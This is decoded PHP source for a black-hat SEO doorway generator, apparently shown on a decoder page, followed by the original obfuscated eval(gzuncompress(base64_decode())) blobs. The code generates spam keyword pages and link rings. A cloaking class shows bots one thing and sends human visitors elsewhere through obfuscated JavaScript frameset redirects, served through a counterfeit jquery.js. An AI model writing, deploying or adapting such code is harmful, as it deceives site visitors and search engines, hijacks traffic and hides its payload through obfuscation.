0:$result=$this->enqueue_links_stack($this->make_folder($keyword));break;case 1:$result=$this->enqueue_links_stack($this->make_folder_with_link($keyword,$dop_keyword));break;}break;}return $result;}function make_link($keyword){return new link($keyword,"http://{$this->host}/{$keyword->link_body}.html");}function make_subdomain($keyword){return new link($keyword,"http://{$keyword->link_body}.{$this->host}/");}function make_folder($keyword){return new link($keyword,"http://{$this->host}/{$keyword->link_body}/");}function make_folder_with_link($keyword,$keyword_on_sub=null){if(!$keyword_on_sub)return new link($keyword,"http://{$this->host}/$keyword->link_body/");return new link($keyword,"http://{$this->host}/{$keyword_on_sub->link_body}/$keyword->link_body.html");}function make_subdomain_with_link($keyword,$keyword_on_sub=null){if(!$keyword_on_sub)return new link($keyword,"http://{$this->host}/$keyword->link_body.html");return new link($keyword,"http://{$keyword_on_sub->link_body}.{$this->host}/$keyword->link_body.html");}private function out_links_boxes(&$tpl){if(strpos($tpl,"[links")!== false){$tpl=preg_replace("~\[links count=['\"](|[^\"]+)['\"] delimiter=['\"](|[^\"]+)['\"]\](.*?)\[/links\]~ies","\$this->out_links_box('\\1', '\\2', '\\3')",$tpl);$tpl=preg_replace("~\[links count=['\"](|[^\"]+)['\"]\](.*?)\[/links\]~ies","\$this->out_links_box('\\1', '', '\\2')",$tpl);$tpl=preg_replace("~\[links=(|[^\"]+)\](.*?)\[/links\]~ies","\$this->out_links_box('\\1', '', '\\2')",$tpl);}}private function out_links_box($count_links,$delimiter=false,$pattern){$out_pattern='';$pattern=stripcslashes($pattern);while($link=$this->dequeue_links_stack()){if(!$count_links--)break;$temp=strtr($pattern,array('{KEYWORD}'=> $link->anchor,'{LINK}'=> $link->url,'{DELIMITER}'=> $delimiter));$out_pattern .= $temp ."\r\n";}return $out_pattern;}private function out_meta_keywords(&$tpl){if(strpos($tpl,"[links")!== false){$tpl=preg_replace("~\{KEYWORDS=([^\}]+)\}~ies","\$this->out_keywords('\\1')",$tpl);}}private function out_keywords($count){$keywords=array();$keywords[]=$this->main_keyword->anchor;$count++;foreach($this->links_stack as $link){if(!$count--)break;$keywords[]=$link->anchor;}$keywords=implode(', ',$keywords);return $keywords;}private $current_out_number=1;private $current_keyword_number=1;private function out_links(&$tpl){while($link=$this->dequeue_links_stack()){if(!$this->out_link($tpl,$link))break;}}private function out_numeric_keywords(&$tpl){while($keyword=$this->get_keyword($this->current_keyword_number)){if(!$this->out_keyword($tpl,$keyword))break;}}private function out_link(&$tpl,$link){$number=$this->current_out_number;if(strstr($tpl,"{LINK_$number}")=== false)return false;$tpl=str_replace("{KEYWORD_$number}",$link->anchor,$tpl);$tpl=str_replace("{LINK_$number}",$link->url,$tpl);$this->current_out_number++;return true;}private function out_keyword(&$tpl,$keyword){$number=$this->current_keyword_number;$tpl=str_replace("{KEYWORD_$number}",$keyword,$tpl);$this->current_keyword_number++;return true;}private function GetHostCode(){$code=md5($this->MainHost .'B7tKfDg4');$code=preg_replace('~[^0-9]+~ism','',$code);$code=substr($code,0,5);$this->RequestCode=$code;return $code;}function get_ring_data($link_count_ring,$keyword){$rez=array();srand($this->GetHostCode()+$link_count_ring);$max_steap=intval(keywords::$binary_searcher->string_count/$link_count_ring);$steap=rand(floor($max_steap/rand(2,10)),$max_steap);$rez['steap']=$steap;$rez['current_key']=$keyword;$rez['curent_pos']=$keyword->positions->string_position;$curent_ring=intval($keyword->positions->string_position/$steap);$rez['curent_ring']=$curent_ring;$first_element=$keyword->positions->string_position-$curent_ring*$steap;$rez['first_element']=$first_element;$last_element=$keyword->positions->string_position+($link_count_ring-$curent_ring-1)*$steap;$rez['last_element']=$last_element <= keywords::$binary_searcher->string_count;$next_element=$keyword->positions->string_position+$steap;$prev_element=$keyword->positions->string_position-$steap;if($keyword->positions->string_position >= $last_element)$next_element=$first_element;if($keyword->positions->string_position <= $first_element){$prev_element=$last_element;}$rez['next_element']=$next_element;$rez['prev_element']=$prev_element;$rez['prev_key']=keywords::get_keyword_by_string_position($prev_element);$rez['next_key']=keywords::get_keyword_by_string_position($next_element);return $rez;}}class Doorway{private $RootDir;public function SetRootDir($value){$this->RootDir=$value;}private $MainHost;public function SetMainHost($value){$this->MainHost=$value;}private $CacheFolder;public function SetCacheFolder($value){$this->CacheFolder=preg_replace('~[\\/]+~','/',$this->RootDir .$value);}private $BinaryKeywordsPath;public function SetBinaryKeywordsPath($value){$this->BinaryKeywordsPath=$value;}private $TemplateFolder;public function SetTemplateFolder($foolder){$this->TemplateFolder=$foolder;}private $Template;public function SetTemplate($file_name){$this->Template=preg_replace('~[\\/]+~','/',$this->RootDir .$this->TemplateFolder .$file_name);}public $MainPageFile;public function SetMainPageFile($file_name){$this->MainPageFile=preg_replace('~[\\/]+~','/',$this->RootDir .$this->TemplateFolder .$file_name);}public $HeaderCount=3;public function SetHeaderCount($HeaderCount){$this->HeaderCount=$HeaderCount;}private $PageContentLenghtMin=500;private $PageContentLenghtMax=1000;public function SetPageContentLenght($max,$min){$this->PageContentLenghtMin=$min;$this->PageContentLenghtMax=$max;}public $Linked;public function SetLinked($Linked){$this->Linked=$Linked;}public $SnippetsParser;public function SetSnippetsParser($SnippetsParser){$this->SnippetsParser=$SnippetsParser;}public $Cloacking;public function SetRedirectURL($RedirectURL){$this->Cloacking->set_url($RedirectURL);}private $SM_Link;public function SetSM_Link($value){$this->SM_Link=$value;}private $ContentPattern;public function SetContentPattern($value){$this->ContentPattern=$value;}private $ParserSnippetsEnabled=true;public function SetParserSnippetsEnabled($value){$this->ParserSnippetsEnabled=$value;}private $Subdomain;private $Request;private $Keyword;private $Keyword_pos_in_file;private $RequestCode;private $PageContent;public function Doorway(){$this->RootDir=$_SERVER['DOCUMENT_ROOT'] .'/';$this->TemplateFolder='/templates/';$this->Linked=new linked();$this->Linked->set_host($this->MainHost);$this->Linked->set_mode(linked::MODE_SUBDOMAINS_WITH_INNER_LINKS);$this->Linked->set_out_prev_link_mode(true);$this->Linked->set_rings(array(10,20,30,40,50,100));$this->Linked->set_rings_mode(linked::RINGS_MODE_ONLY_SUBDOMAINS);$this->Linked->set_total_links_count(50);$this->SnippetsParser=new EngineSnippetsParser();$this->SnippetsParser->SetContentCount(100);$this->SnippetsParser->SetMaxParsedPagesCount(0);$this->SnippetsParser->SetMinSnippetLenght(30);$this->SnippetsParser->SetOutputCharset('windows-1251');$this->SnippetsParser->SetSnippetsCount(300);$this->SnippetsParser->SetStreamCount(1);$this->Cloacking=new cloacking();}public function MakeRedirectURL($url){if(!$this->Keyword)$this->Init();if($this->Keyword){$url=preg_replace('~(\{KEY\}|\{KEYWORD\})~ism',urlencode($this->Keyword->anchor_to_lower),$url);$url=preg_replace('~(\{REF\}|\{REFERER\})~ism',urlencode($_SERVER['HTTP_REFERER']),$url);}else{$url=preg_replace('~(\{KEY\}|\{KEYWORD\})~ism',"' + title + '",$url);$url=preg_replace('~(\{REF\}|\{REFERER\})~ism',"' + host + '",$url);}return $url;}public function Init(){if($this->GetRequest()){$this->GetKeyword($this->Request);}elseif($this->GetSubdomain()){$this->GetKeyword($this->Subdomain);}else{$this->GetKeyword();}}public function Build(){$this->Cloacking->dinamic_js();if(!$this->Keyword)$this->Init();$this->MainPage();$this->Out404();$this->GetRequestCode();$this->MakePage();}private function GetRequestCode(){$code=md5($this->Subdomain .$this->MainHost .$this->Request .'B7tKfDg4');$code=preg_replace('~[^0-9]+~ism','',$code);$code=substr($code,0,5);$this->RequestCode=$code;return $code;}private function GetRequest(){if(preg_match('~/([^\./]+)\.~ism',@$_SERVER['REQUEST_URI'],$request)){$this->Request=$request[1];return true;}return false;}private function GetSubdomain(){if(preg_match("~^([^\.]+)\.{$this->MainHost}$~ism",@$_SERVER['HTTP_HOST'],$subdomain)){$this->Subdomain=$subdomain[1];return true;}else return $this->GetFolder();}private function GetFolder(){if($this->Subdomain)return true;if(preg_match("~/([^\./]+)/~ism",@$_SERVER['REQUEST_URI'],$request)){$this->Subdomain=$request[1];return true;}return false;}private function Out404(){if($this->Keyword)return;header("HTTP/1.1 404 Not Found");header("Status: 404 Not Found");exit;}private function MainPage(){if($this->Keyword)return;if($this->MainHost == $_SERVER['HTTP_HOST']&& $_SERVER['REQUEST_URI']== '/'){if(!file_exists($this->MainPageFile))die(' !');$theme=file_get_contents($this->MainPageFile);$theme=strtr($theme,array('{HOST}'=> $_SERVER['HTTP_HOST'],'{HOST_LINK}'=> 'http://' .$_SERVER['HTTP_HOST'] .'/','{SITEMAP_URL}'=> $this->SM_Link,'{SITEMAP}'=>"<a href=\"{$this->SM_Link}\">Sitemap</a>",'{THEME}'=> 'http://' .preg_replace('~[\\/]+~','/',$_SERVER['HTTP_HOST'] .'/' .$this->TemplateFolder)));$this->random_box($theme);$description=substr(strip_tags($content),0,250) .'...';$description=preg_replace('~[\s]~ism',' ',$description);$theme=str_replace('{DESCRIPTION}',$description,$theme);$theme=str_replace('{MAIN_KEYWORD}',$this->Keyword->anchor,$theme);$this->Cloacking->set_keyword($this->Keyword->anchor);$this->Cloacking->make_url(array('{REF}'=> 'http://' .$_SERVER['HTTP_HOST'] .'/' .$_SERVER['REQUEST_URI'],'{KEY}'=> $this->Keyword->anchor));$theme=str_replace('{REDIRECT}',$this->Cloacking->out(),$theme);$textmaker=new Textmaker();$textmaker->SetSrand($this->RequestCode);$textmaker->MakeTextBoxes($theme);$this->Linked->set_host($this->MainHost);$this->Linked->set_request_code($this->RequestCode);$this->Linked->out($theme);echo $this->ClearContent($theme);exit;}}private function ClearContent($content){$temp=addslashes($this->TemplateFolder);$content=preg_replace("~{$temp}/~ism",$this->TemplateFolder,$content);$content=preg_replace("~{$_SERVER['HTTP_HOST']}//~ism",$_SERVER['HTTP_HOST'] .'/',$content);return $content;}private function GetKeyword($string=false){if($string)$this->Keyword=keywords::get_keyword($string);else $this->Keyword=keywords::get_keyword_by_string_position(1);}private function ParseSnippets(){if(!$this->ParserSnippetsEnabled)return false;if(!$this->SnippetsParser->GetSnippets($this->Keyword->anchor))return false;$file_name=$this->Keyword->link_body .'.txt';file_put_contents($this->CacheFolder .$file_name,implode("\r\n",$this->SnippetsParser->SnippetsList->list));}private function GetSnippets(){$file_name=$this->CacheFolder .$this->Keyword->link_body .'.txt';if(!file_exists($file_name))$this->ParseSnippets();else if(filesize($file_name)<50)$this->ParseSnippets();if(!file_exists($file_name))return false;if(filesize($file_name)== 0){unlink($file_name);return false;}$filesize=filesize($file_name);srand($this->RequestCode);$max_content_lenght=rand($this->PageContentLenghtMin,$this->PageContentLenghtMax);$content=array();$content_lenght=0;$fp=fopen($file_name,'r');$iteration=0;while($content_lenght<$max_content_lenght){srand($this->RequestCode+$iteration++);fseek($fp,rand(0,$filesize));@fgets($fp);$snippet=@trim(fgets($fp));if(!$snippet)continue;if(in_array($snippet,$content)){continue;}$content_lenght += strlen($snippet)+1;$content[]=$snippet;}fclose($fp);return $content;}private function GetContent(){$snippets=$this->GetSnippets();if(!$snippets){return $this->ContentPattern;}if($this->HeaderCount>0)$out="<h2>{MAIN_KEYWORD}</h2>\r\n<p>";else $out='<p>';$number=1;$header_place_count=0;foreach($snippets as $snippet){$out .= $snippet;if(rand(0,5)== 5){$out .= "<p>\r\n\r\n</p>\r\n\r\n{HEADER}";$header_place_count++;}else{if(rand(0,3)== 3){$out .= "\r\n";}$out .= ' ';}}$out .= '</p>';$header_count=$this->HeaderCount;$clear=floor($header_place_count/$header_count);while($header_count){$out=preg_replace('~\{HEADER\}~ism','',$out,$clear);$out=preg_replace('~\{HEADER\}~ism',"<h3>{KEYWORD_$number}</h3>",$out,1);$number++;$header_count--;}return $out;}private function random_box(&$tpl){$tpl=preg_replace("~\{RANDNUMBER=([0-9]+)-([0-9]+)\}~ies","\$this->random('\\1', '\\2')",$tpl);}private $srand=0;private function random($min,$max){srand($this->RequestCode+$this->srand);$this->srand += rand(1,100);return rand($min,$max);}private function MakePage(){if(!$this->Template)die(" !");if(!file_exists($this->Template))die(" <b>{$this->Template}</b> !");$theme=file_get_contents($this->Template);$content=$this->GetContent();$theme=strtr($theme,array('{HOST}'=> $_SERVER['HTTP_HOST'],'{HOST_LINK}'=> 'http://' .$_SERVER['HTTP_HOST'] .'/','{CONTENT}'=> $content,'{SITEMAP_URL}'=> $this->SM_Link,'{SITEMAP}'=>"<a href=\"{$this->SM_Link}\">Sitemap</a>",'{THEME}'=> 'http://' .preg_replace('~[\\/]+~','/',$_SERVER['HTTP_HOST'] .'/' .$this->TemplateFolder)));$this->random_box($theme);$textmaker=new Textmaker();$textmaker->SetSrand($this->RequestCode);$textmaker->MakeTextBoxes($theme);$description=substr(strip_tags($content),0,250) .'...';$description=preg_replace('~[\s]~ism',' ',$description);$theme=str_replace('{DESCRIPTION}',$description,$theme);$theme=str_replace('{MAIN_KEYWORD}',$this->Keyword->anchor,$theme);$this->Cloacking->set_keyword($this->Keyword->anchor);$this->Cloacking->make_url(array('{REF}'=> 'http://' .$_SERVER['HTTP_HOST'] .'/' .$_SERVER['REQUEST_URI'],'{KEY}'=> $this->Keyword->anchor));$theme=str_replace('{REDIRECT}',$this->Cloacking->out(),$theme);$this->Linked->set_host($this->MainHost);$this->Linked->set_main_keyword($this->Keyword);$this->Linked->set_request_code($this->RequestCode);$this->Linked->out($theme);$this->PageContent=$theme;}public function out_page(){echo $this->PageContent;}}class Textmaker{private $InnerTextPath;public function SetInnerTextPath($value){$this->InnerTextPath=preg_replace('~[\\/]+~','/',$value);}private static $StaticInnerTextPath;public function SetStaticInnerTextPath($value){self::$StaticInnerTextPath=preg_replace('~[\\/]+~','/',$value);}private static $StaticBasePath;public function SetStaticBasePath($value){self::$StaticBasePath=preg_replace('~[\\/]+~','/',$value);}private $BasePath;public function SetBasePath($value){$this->BasePath=preg_replace('~[\\/]+~','/',$value);}private $Srand;public function SetSrand($value){$this->Srand=intval($value);}public function Textmaker(){if(self::$StaticBasePath)$this->SetBasePath(self::$StaticBasePath);if(self::$StaticInnerTextPath)$this->SetInnerTextPath(self::$StaticInnerTextPath);}public function MakeBase(){if(!$this->InnerTextPath)return;if(!file_exists($this->InnerTextPath))return;if(!$this->BasePath)return;$InnerFP=fopen($this->InnerTextPath,'r');$LastStr='';$BaseFP=fopen($this->BasePath,'w+');while(!feof($InnerFP)){$String=fgets($InnerFP);$String=preg_replace('~([\.\?!])~ism',"$1{split}",$String);$Arr=explode('{split}',$String);$NewArr=$Arr;$NewArr[0]=$LastStr .' ' .trim($NewArr[0]);$LastStr=trim(array_pop($NewArr));foreach($NewArr as $Str){$Str=trim($Str);if(strLen($Str)<10)continue;if(strlen(preg_replace('~[^a-z-]~ism','',$Str))<strlen($Str)/2)continue;$Str=preg_replace('~(<[^>]+>|[\(\)]+)~ism',' ',$Str);$Str=preg_replace('~(http://[^ ]+|www\.[^ ]+)~ism',' ',$Str);$Str=preg_replace('~[ ]+~ism',' ',$Str);fputs($BaseFP,trim($Str) ."\r\n");}}fclose($InnerFP);fclose($BaseFP);}public function MakeTextBoxes(&$tpl){if(!file_exists($this->BasePath))die(" !");$tpl=preg_replace("~\{TEXT=([0-9]+)-([0-9]+)\}~ies","\$this->MakeText('\\1', '\\2')",$tpl);}public function MakeText($min,$max){if(!file_exists($this->BasePath))return " !";srand($this->Srand);$this->Srand += rand(1,100);$MaxLen=rand($min,$max);$Text='';$BaseFP=fopen($this->BasePath,'r');$FileSize=filesize($this->BasePath);while(strlen($Text)<$MaxLen){$this->Srand += rand(1,10);$pos=rand(0,$FileSize);fseek($BaseFP,$pos);fgets($BaseFP);$Str=@fgets($BaseFP);if(!trim($Str))continue;$Text .= $Str .' ';}fclose($BaseFP);return trim($Text);}}final class cloacking{private $enabled=true;public function enable($value){$this->enabled=$value;}private $url;public function set_url($value){$this->url=$value;}public function make_url($replaces){$this->url=strtr($this->url,$replaces);}private $enable_check_engine=false;public function set_enable_check_engine($value){$this->enable_check_engine=$value;}private $including_mode=false;public function set_including_mode($value){$this->including_mode=$value;}private $keyword;public function set_keyword($value){$this->keyword=preg_replace('~[\'"]+~ism','',$value);}public function cloacking($url=false){$this->url=$url;}private function str_encode($str){$out='';$unicodePoints=array('\u0410','\u0411','\u0412','\u0413','\u0414','\u0415','\u0416','\u0417','\u0418','\u0419','\u041A','\u041B','\u041C','\u041D','\u041E','\u041F','\u0420','\u0421','\u0422','\u0423','\u0424','\u0425','\u0426','\u0427','\u0428','\u0429','\u042A','\u042B','\u042C','\u042D','\u042E','\u042F','\u0430','\u0431','\u0432','\u0433','\u0434','\u0435','\u0436','\u0437','\u0438','\u0439','\u043A','\u043B','\u043C','\u043D','\u043E','\u043F','\u0440','\u0441','\u0442','\u0443','\u0444','\u0445','\u0446','\u0447','\u0448','\u0449','\u044A','\u044B','\u044C','\u044D','\u044E','\u044F');$hexView=array('d090','d091','d092','d093','d094','d095','d096','d097','d098','d099','d09a','d09b','d09c','d09d','d09e','d09f','d0a0','d0a1','d0a2','d0a3','d0a4','d0a5','d0a6','d0a7','d0a8','d0a9','d0aa','d0ab','d0ac','d0ad','d0ae','d0af','d0b0','d0b1','d0b2','d0b3','d0b4','d0b5','d0b6','d0b7','d0b8','d0b9','d0ba','d0bb','d0bc','d0bd','d0be','d0bf','d180','d181','d182','d183','d184','d185','d186','d187','d188','d189','d18a','d18b','d18c','d18d','d18e','d18f');for($i=0;$i<strlen($str);$i++){if(bin2hex($str{$i})>= 'd0'&& bin2hex($str{$i})<= 'd1'){$out .= bin2hex($str{$i}) .bin2hex($str{$i+1});$i++;}elseif(bin2hex($str{$i})<= '7e'){$out .= '\x' .bin2hex($str{$i});}else $out .= htmlentities($str{$i},ENT_QUOTES,'UTF-8');}return str_replace($hexView,$unicodePoints,$out);}private function hash($string){return substr(preg_replace("~[^0-9]*~","",md5(strtr(md5($string),'qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890','1qaz2wsx3edc4rfv5tgb6yhn7ujm8ik9ol0pMNBVCXZASDFGHJKLPOIUYTREWQ'))),0,5);}public function dinamic_js(){if(!stristr($_SERVER['REQUEST_URI'],"jquery.js"))return;@header("Content-type: text/plain; charset=utf-8");@header("Cache-Control: no-store, no-cache, must-revalidate");@header("Cache-Control: post-check=0, pre-check=0",false);if(!@$_SERVER['HTTP_REFERER']||!stristr(@$_SERVER['HTTP_REFERER'],$_SERVER['HTTP_HOST'])){echo file_get_contents(dirname(__FILE__) .'/jquery.js');exit;}$hash=$this->hash($_SERVER['HTTP_REFERER']);echo file_get_contents(dirname(__FILE__) .'/jquery.js');$script=file_get_contents(dirname(__FILE__) .'/frame.js');$script=preg_replace("~[\s]+~ism",' ',$script);$script=str_replace('{URL}',$this->url,$script);echo $script;exit;}private function make_script(){$frame=$this->str_encode('<noindex><frameset><frame src="' .$this->url .'"></frameset></noindex>;');$name=mt_rand(111111,999999);return"var _0x{$name}=[\"{$frame}\",\"\\x77\\x72\\x69\\x74\\x65\"];document[_0x{$name}[1]](_0x{$name}[0]);";}private function check_engine(){$user_agent_inners="google|slurp|msnbot|bing|microsoft|live|bot|spider|yandex|rambler|baidu|mail.ru|i.ua|meta|search";$referer_inners="google|msn|bing|yahoo|search|live|yandex|rambler|meta|i.ua|mail.ru|search";$referer=@$_SERVER['HTTP_REFERER'];$user_agent=@$_SERVER['HTTP_USER_AGENT'];if(!$referer){if(!preg_match("~$user_agent_inners~ism",$user_agent)){if(preg_match("~GTB~",$user_agent))sleep(mt_rand(3,6));return 'User';}return 'Bot';}else{if(preg_match("~($referer_inners)~ism",$referer)&&!preg_match("~$user_agent_inners~ism",$user_agent)){if(preg_match("~GTB~",$user_agent))sleep(mt_rand(3,6));return 'User';}return 'Bot';}}public function out(){if(!$this->enabled)return false;if(!$this->including_mode){return $this->out_script();}else{return $this->out_script_link();}}public function out_script(){if(!$this->enabled)return false;if($this->enable_check_engine && $this->check_engine()== 'Bot')return false;$script=$this->make_script($this->url);return"<script type=\"text/javascript\">$script</script>";}public function out_script_link(){if(!$this->enabled)return false;if($this->enable_check_engine && $this->check_engine()== 'Bot')return false;$host='http://' .$_SERVER['HTTP_HOST'] .'/' .$_SERVER['REQUEST_URI'];return $script_include="<script type=\"text/javascript\">host = '{$host}'; title = '{$this->keyword}';</script>
<script type=\"text/javascript\" src=\"http://{$_SERVER['HTTP_HOST']}/js/jquery.js\"></script>";}}require_once(ROOT_DIR .'/settings/config.php');require_once(ROOT_DIR .'/settings/engines.php');$install=new Install(ROOT_DIR .'/' .Config::$Install->KeywordsFile,ROOT_DIR .'/data/base.bin');$install->SetBaseContentPath(ROOT_DIR .'/data/textbase.bin');$install->SetInnerContentPath(Config::$Install->ContentFile);$sitemap=new Sitemap(Config::$Doorgen->MainHost);$sitemap->SetMode(Config::$Install->LinksMode);$sitemap->SetCountMainPagesLinksInMap(Config::$Install->CountMainPagesLinksInMap);$sitemap->SetCountInnerLinksInMap(Config::$Install->CountInnerLinksInMap);$sitemap->SetSM_Patterns(Config::$Install->SiteMapPatterns);$sitemap->SetMainSM_Pattern(Config::$Install->SiteMapMainPattern);$sitemap->SetMapTemplate(Config::$Install->SiteMapTemplate,ROOT_DIR .Config::$Doorgen->TemplateFolder);$install->Run('/install','/make_sitemaps');keywords::init(ROOT_DIR .'/data/base.bin',0,'||');Textmaker::SetStaticBasePath(ROOT_DIR .'/data/textbase.bin');$sitemap->Make('/make_sitemaps');$doorway=new Doorway();$doorway->SetTemplateFolder(Config::$Doorgen->TemplateFolder);$doorway->SetTemplate(Config::$Doorgen->TemplateFile);$doorway->SetMainPageFile(Config::$Doorgen->MainPageFile);$doorway->SetCacheFolder('/cache/');$doorway->SetMainHost(Config::$Doorgen->MainHost);$doorway->SetPageContentLenght(Config::$Doorgen->MinContentLenght,Config::$Doorgen->MaxContentLenght);$doorway->SetHeaderCount(Config::$Doorgen->HeadersCount);$doorway->SetSM_Link($sitemap->GetSitemapURL());$doorway->SetContentPattern(Config::$Doorgen->ContentPattern);$doorway->SetParserSnippetsEnabled(Config::$Parser->Enabled);$doorway->Init();$doorway->Cloacking->enable(Config::$Redirect->Enabled);$doorway->Cloacking->set_url($doorway->MakeRedirectURL(Config::$Redirect->RedirectURL));$doorway->Cloacking->set_enable_check_engine(Config::$Redirect->CheckEngineMode);$doorway->Cloacking->set_including_mode(Config::$Redirect->IncludingScriptMode);$doorway->Linked->set_mode(Config::$Install->LinksMode);$doorway->Linked->set_out_prev_link_mode(Config::$Links->OutPrevLinkMode);$doorway->Linked->set_rings(Config::$Links->Rings->GetRings());$doorway->Linked->set_total_links_count(Config::$Links->TotalLnksCount);$doorway->SnippetsParser->SetEnginesList($EnginesList);$doorway->SnippetsParser->SetProxyType(Config::$Parser->ProxyType);$doorway->SnippetsParser->SetRequestType(Config::$Parser->RequestType);$doorway->SnippetsParser->SetContentCount(Config::$Parser->ContentCount);$doorway->SnippetsParser->SetMaxParsedPagesCount(Config::$Parser->MaxParsedPagesCount);$doorway->SnippetsParser->SetMinSnippetLenght(Config::$Parser->MinSnippetLenght);$doorway->SnippetsParser->SetOutputCharset(Config::$Parser->OutputCharset);$doorway->SnippetsParser->SetProxyList(Config::$Parser->ProxyList);$doorway->SnippetsParser->SetLocalIpList(Config::$Parser->LocalIPList);$doorway->SnippetsParser->SetSnippetsCount(Config::$Parser->SnippetsCount);$doorway->SnippetsParser->SetStreamCount(Config::$Parser->StreamCount);$doorway->build();$doorway->out_page();timer::finish();final class timer{static private $time;static public function mtime(){list($usec,$sec)=explode(" ",microtime());return abs((float)$usec+(float)$sec);}static public function start(){self::$time=self::mtime();}static public function finish(){echo '<!-- It is executed for ' .round(self::mtime()-self::$time,4) .' seconds -->';}}
Did this file decode correctly?
Original Code
<? eval(gzuncompress(base64_decode('eF5Tcffxd3L0CY5Wjzc0NDc1NDYxMTWPV4+1dSwqSqzU0LQGAJAHCLs='))); ?><? eval(gzuncompress(base64_decode('eF5LK81LLsnMz1OINzO2MLY0MLYw1FDJ1KxWSbR1LCpKrNTQtC5KLSktylNISixONTOJT0lNzk9J1VBJjFbJjNW0rgUApz4UwA=='))); ?><? eval(gzuncompress(base64_decode('eF4cmsdytFAOhR9n/ioW5NBLcs6ZzRRNbnIOTz94NjaNaa7QlY7O56I40u5f9exDNvbTUqzrv2+6FgT237zIxrz4959CILcj7FARKkLZmj/PPICtrlacz+it0WB22ydCI34f+Gqr5ib72bnalnE9evvKju4miQbwpb7gy3mQwJ4BnuZZ5eFC0AEfi+IHXdeFpNzCHy0IAhTG1hRQbMbVhhL2tJ10RI9HC0W8ZOjLe1mDLbTHKWk4blV5GV1mOJVejJYomz+UGaT4SPbNCJcvAh/fPRwXk55J23vDW0lzyJJvCIb5T9l2WDy+KDFtJNQrzKncBbItEykSWwNxS0/myIaM3wKDZMakewQCm+kRyS+dD1Yq1QByEi7jxIc3pEa9Xb14EMgDVwiGlLFdiR0C8uRv8mYqwHniN0oItGlejZ7HDljixSjsUrdlkoLV8979Zyrak+397xhKH4LqXmqvzjeGr18wMXUOGtGJJEzeEnS839/Sbbt2+INqge3QFgOj9Dxhwy0BCxrv7Ncat+OzzTLZTnypKKwJ7/I2GYx7O8iyc7qZVN9lLDiYhuV0tBazVxIT0zF4/3zrC8KQM/2YRU+kxRRaVXTbpUrQ4M+ZLNrxpkJuNma2Ad/rpE1VQs5HDb4NIgouaYm+wXmjdKz/DF8Up3Cbh2QbF1YOiUjuOpwsqvzkadm7cm9Ds0qC2hKI1YgKYPYRsKSnMFZ8tj7EF0WnE+ihGhB8O3cY6PGNiqlJiuOGT/hDG+7sqYL9mYY0qwpJBvF5K5Drxu4erAYDyRdZYRmP9iENl4ZTtANNjTgFM+k111V+ViBIQNeQ/DTT0JHaXMXOBhGE9HIHBVd5RtB5xG7NVob7J+KMYQA4fI7SRzbRBKzVxZC20TBJjlStxdCiaLDYmRVGGUdq7qPQVlHX/LZK11l9GujYIkunoCOjJosKmV3BducK2HUG8D7sdaxSQPxnykxyTSgowYznJ6Aefwp5pVFao0DrCdlcd5XZiR+YVptImyeC+3msqj6shEbf+HCz32h9zufzVf1vhFabwTgfWbXtmAvzzyhL06Wb1a3ifY/CEcK5sV9YKk+mrDHvCNAvDXlkOLjchjMiE8gbJBojHpaPspn+4EsW1FNy3PILhk3PSs/W0RZWIeCDss9Az7tCOKmqun6zT5rqfa3bEkupSjGRavp6NAIIFC7RDCPzS9vA57R/7rrdpNep3XRliRAnhOmrqScJ/uMlvmMFLiGcuit3faXOl340VdFkOHG3pUBdBju666L9itlatSZxOQWW9PIzJX3inxc6bPKovaEkP5nwYbOzv2diyZz+ZZaPrzLWgU0sAblBVq2wBysEbUMERPdWMOp1PYtKFySLFJXwhpkSh85cN+4kj5AwfNcLKsE3NRaSlCCdUmjubE63/mCYHLanrLJEodNVaByCfO3up0DT7QPmSId9HvSncX1RmgFcIuj9nURBybpI/Umj3tbVnuyKPoEpqfqH0+gGy6lwxrezBfyM25sVIh/GJRTr3L3sb3jTECZh3eX53xmlwNN8on0pLiGezRrKpVQ4nRHY4aSnZG2iW24wBIk+hXxaaryoSyF5/NB0hZs+a+3htccvjQlJ9S349KtmI4cm3Aw5isqezKPWdu1KzIH1LTbhy+/GMAtJFvw8sS2VtOmf+mAGPjcSwEQ/VL7R4U4oIYLXb3kQV3pR9nLDY7zQ302mCZq5JnGd42V8lbMD9N+iTIXhl2pDAwFx83qkmpIei+Hl0DgSM/aMYE+NMxdrP752yaIMdbUfP4TD5Ziut7LSVf2HUuHvgHLp3EDKyIw6B2QmSTUcuYOlKwtUBNYBiuGnI6vXJy9gWELmn8prdkEcvu8vnpA4CrMil4+FcO1WXVTPk7Rn40LImcIa3wbeS3JzBhT95eH2S0L4+U7RYslrm09YjqDDkn1TvE+2/RTDpSAChmkY3ZdUune6MkcWhBP2L4Ec8uQGT+ALRfCFGhoCSTYm89s+bkLAbMRXhoahM8Irag6PFYDnfd7qFkVSJs0coXI+7+qLGANafk9AALBYaX+uwnnJJ/3Au65zfarCZPpUsczuSj920cymnB0RuK/R10YJd5x5NluqlRqj3E1UMHMTWOdlCyv0qUgLMfTObOkikKJGWqrkhXqYcexDGeO6c/5U8WTQVMpHsO3BiIww9BRB+OaLZHU2bqNk83vmHxStNKMIGyVCICOU5laxyTeLpckdKyWfLk2mGwU9+0yxm2kSVdcAeOrXDmoCdVQQPlBbWcx7/0OP3vtjbtb8+J/A9TISVzjmhrhMwLO3heOcWu2nvw8RIaxx/1HrHv+ycHI530ZKdwVq0GNU2FGpy2mSSq9BLpAc5jcyprkaPtgD0w+KU2huntsiz5tTDTKPJiNLTU8Yx4lDf3sJi2iEbv0GR1nK0rhBhC7Uf7Rj8k+JD2HeseSRhlZy2wUuv+b5eBUDFzy/FDWtUD/skH4P3qG6s4LmmyTCblOlOM9KS7zPjo/LAo+y1zFMyCthwuxfkub+nK3ecp3bFeboZ0/oZ3VJbBdkuG2UqPzparXvTZBQapCIlILEWIFBX5kYLSKskXqKaRMY0WI11k7C4px+XYAN0+fpKOyoU/BcJyP1icZcdWA5ChzaDQuJzxORPrvi8+VhKYvAQOvFlSdZnbpaSPG/gIQvcO4seWwXeAq6UUYZz8SpD662035K4q/6fDW+z8XfiFmEzz9zYWEQRnbO9q0Zb8NfE+BpHXKsdVt9A66lGbgRT1RdDfHIxBlyGn8RPMxVfY1sr+HsscXUhSahHsdFUqFLWV0lRmOaRxMKm4zrqZi0sy4+IpdhKWyMrHV9LL6XpW3KdA5iiAaJG7EmTqtAeJ/xxKGe2T6pPreB+FCn0W0J5AMHs7DbOH79OrTrNZ1V+1rA+7wbBmW2obGzT+jT7cgAEmaJ3qedFC7hchgqGDiBvHRl76GrRqx3EftuB7lLBm025UTc3drDWlYdxlx/Nb31Wzmvim48NSdjdl+sY5NI/QAtxFCAst1IwZM1NH